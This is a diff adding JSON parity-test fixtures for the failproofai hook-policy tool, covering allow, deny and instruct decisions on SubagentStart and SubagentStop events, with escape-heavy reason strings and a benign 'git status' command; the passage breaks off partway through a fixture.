b/__tests__/parity/fixtures/pi/SubagentStart/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/SubagentStart/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/SubagentStart/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..4c951af5 --- /dev/null +++ b/__tests__/parity/fixtures/pi/SubagentStart/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/SubagentStart/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/SubagentStart/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..57aad68f --- /dev/null +++ b/__tests__/parity/fixtures/pi/SubagentStart/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/SubagentStart/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/SubagentStart/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..0541b612 --- /dev/null +++ b/__tests__/parity/fixtures/pi/SubagentStart/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/SubagentStart/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/SubagentStart/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..021a793a --- /dev/null +++ b/__tests__/parity/fixtures/pi/SubagentStart/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/SubagentStart/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/SubagentStart/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..00a6e380 --- /dev/null +++ b/__tests__/parity/fixtures/pi/SubagentStart/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/SubagentStart/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/SubagentStart/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..f4f3f624 --- /dev/null +++ b/__tests__/parity/fixtures/pi/SubagentStart/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/SubagentStart/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/SubagentStart/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..a93acb17 --- /dev/null +++ b/__tests__/parity/fixtures/pi/SubagentStart/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "deny", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/SubagentStart/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/SubagentStart/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..5e7db58c --- /dev/null +++ b/__tests__/parity/fixtures/pi/SubagentStart/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "deny", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/SubagentStart/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/SubagentStart/deny__tool-present__one-policy.json new file mode 100644 index 00000000..a15b9135 --- /dev/null +++ b/__tests__/parity/fixtures/pi/SubagentStart/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "pi", + "decision_kind": "deny", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/SubagentStart/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/SubagentStart/deny__tool-present__two-policies.json new file mode 100644 index 00000000..f78c297c --- /dev/null +++ b/__tests__/parity/fixtures/pi/SubagentStart/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "pi", + "decision_kind": "deny", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/SubagentStart/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/SubagentStart/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..59d1e7b7 --- /dev/null +++ b/__tests__/parity/fixtures/pi/SubagentStart/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "instruct", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/SubagentStart/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/SubagentStart/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..19c8956a --- /dev/null +++ b/__tests__/parity/fixtures/pi/SubagentStart/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "instruct", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/SubagentStart/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/SubagentStart/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..40a70f27 --- /dev/null +++ b/__tests__/parity/fixtures/pi/SubagentStart/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "pi", + "decision_kind": "instruct", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/SubagentStart/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/SubagentStart/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..a7f7cb61 --- /dev/null +++ b/__tests__/parity/fixtures/pi/SubagentStart/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "pi", + "decision_kind": "instruct", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/SubagentStop/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/SubagentStop/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..bf899a08 --- /dev/null +++ b/__tests__/parity/fixtures/pi/SubagentStop/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/SubagentStop/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/SubagentStop/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..ff780228 --- /dev/null +++ b/__tests__/parity/fixtures/pi/SubagentStop/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/SubagentStop/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/SubagentStop/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..1a092be7 --- /dev/null +++ b/__tests__/parity/fixtures/pi/SubagentStop/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/SubagentStop/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/SubagentStop/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..2567c749 --- /dev/null +++ b/__tests__/parity/fixtures/pi/SubagentStop/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/SubagentStop/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/SubagentStop/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..6f36b23d --- /dev/null +++ b/__tests__/parity/fixtures/pi/SubagentStop/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + 